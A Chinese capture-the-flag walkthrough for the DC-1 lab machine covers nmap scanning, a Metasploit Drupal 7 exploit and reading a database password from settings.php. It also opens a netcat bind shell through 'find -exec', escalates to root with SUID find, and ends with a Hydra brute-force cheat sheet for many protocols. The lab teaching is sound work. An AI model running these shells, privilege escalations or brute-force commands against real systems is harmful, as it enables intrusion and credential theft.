DC1靶机教程

环境:

kali:

ifconfig    #得到:192.168.0.115


kali-ip地址

局域网探测:

arp-scan -l   #需要root权限执行,靶机IP:192.168.0.119

获取靶机IP

nmap扫描:

nmap -sP 192.168.0.1/24 #扫描Ip段的所有Ip地址

nmap -A -p1-65535 -T4 192.168.0.119  扫描端口,查看端口信息


80端口开放,使用浏览器访问查看一下


http服务

80服务用的是drupal 7 我们就可以找他的漏洞了

启动Metersploit来查看漏洞并利用漏洞

msfconsole

寻找关于 drupal 的模块

search drupal


漏洞列表

用2018年的漏洞的测试

use   对应模块

show options  查看信息

set rhosts  远程主机ip

run   攻击

exploit 攻击

设置:

运行:

攻击拿权:


在网站根目录,这里能发现flag1.txt

drupal的数据库配置文件在sites/default/settings.php

cat sites/default/settings.php

查看数据库的账号密码

使用python反弹一个交互式shell

方法一:

shell #权限,不是本地,是http链接,需要一个持久链接,反弹一个交互shell

python -c "import pty;pty.spawn('/bin/bash')"

方法二:

find /var/www/test -exec nc -lvp 9999 -e /bin/sh \;

nc 192.168.0.119 9999


反弹shell

mysql -udbuser  -pR0ck3t

show databases;

use drupaldb;

show tables;

select * from users\G


生成新的密码:

替换密码:

drupal密码

参考链接:http://drupalchina.cn/node/2128

flag3提示,提权并提示 -exec,想到suid提权 find 命令

使用命令查看 suid 权限的可执行二进制程序

find / -perm -4000 2 >/dev/null

发现find命令


使用命令测试,发现为root权限


touch   test

find / -name test -exec "whoami"  \;

find / -name test -exec "/bin/sh"  \;

提权成功:

破解ssh 可以使用 crunch 生成字典,用hydra

各协议的具体命令:

    格式+示例:

1、破解ssh:

    hydra -L 用户名字典 -p 密码字典 -t 线程 -vV -e ns ip ssh

    hydra -l 用户名 -p 密码字典 -t 线程 -o save.log -vV ip ssh

2、破解ftp:

    hydra ip ftp -L 用户名字典 -P 密码字典 -t 线程(默认16) -vV

    hydra ip ftp -l 用户名 -P 密码字典 -e ns -vV

3、get方式提交,破解web登录:

    hydra -L 用户名字典 -p 密码字典 -t 线程 -vV -e ns ip http-get/admin/    hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f ip http-get/admin/index.PHP

4、post方式提交,破解web登录:

    hydra --L 用户名字典 -P 密码字典 -s 80 ip http-post-form"/admin/login.php:username=^USER^&password=^PASS^&submit=login:sorrypassword"    hydra -t 3 -l admin -Ppass.txt -o out.txt -f 10.36.16.18 http-post-form"login.php:id=^USER^&passwd=^PASS^:wrong username orpassword"    参数说明:

    -t同时线程数3,-l用户名是admin,字典pass.txt,保存为out.txt,-f 当破解了一个密码就停止, 

    10.36.16.18目标ip,http-post-form表示破解是采用http的post方式提交的表单密码破解,中的内容是表示错误猜解的返回信息提示

5、破解https:

    hydra -m /index.php -l muts -Ppass.txt 10.36.16.18 https

    6、破解teamspeak:

    hydra -L 用户名字典 -P 密码字典 -s 端口号 -vV ip teamspeak


    7、破解cisco:

    hydra -Ppass.txt 10.36.16.18 cisco

    hydra -m cloud -Ppass.txt 10.36.16.18 cisco-enable


    8、破解smb:

    hydra -L 用户名字典 -Ppass.txt 10.36.16.18 smb


    9、破解pop3:

    hydra -l muts -Ppass.txt my.pop3.mail pop3


    10、破解rdp:

    hydra ip rdp -l administrator -Ppass.txt -V


    11、破解http-proxy:

    hydra -l admin -Ppass.txt http-proxy://10.36.16.18

UID中RUID、EUID和SUID的区别

实际用户ID(RUID):用于标识一个系统中用户是谁,一般是在登录之后,就被唯一确定的,就是登陆的用户的uid

有效用户ID(EUID):用于系统决定用户对系统资源的权限。也就是说当用户做任何一个操作时,最终看它有没有权限,都是在判断有效用户ID是否有权限,如果有,则OK,否则报错不能执行。在正常情况下,一个用户登录之后(我们假设是A用户),A用户的有效用户ID和实际用户ID是相同的,但是如果A用户在某些场景中想要执行一些特权操作,而上面我们说到用户的任何操作,LINUX内核都是通过检验有效用户ID来判断当前执行这个操作的用户是否具有权限,显然是特权操作,A用户没有权限,所以A用户就只能通过一定的手段来修改当前的有效用户ID使其具有执行特权操作的权限。这里说明了下面为什么我们需要修改有效用户ID,就是想再某一时刻能够执行一些特权操作。下面在举例说明。

设置用户ID位:用于对外的权限的开发,它的作用是我们如何去修改有效用户ID,在后面的例子中在展开。

保存设置用户ID(SUID):是有效用户ID副本,既然有效用户ID是副本,那么它的作用肯定是为了以后恢复有效用户ID用的。

你可能感兴趣的:(DC1靶机教程)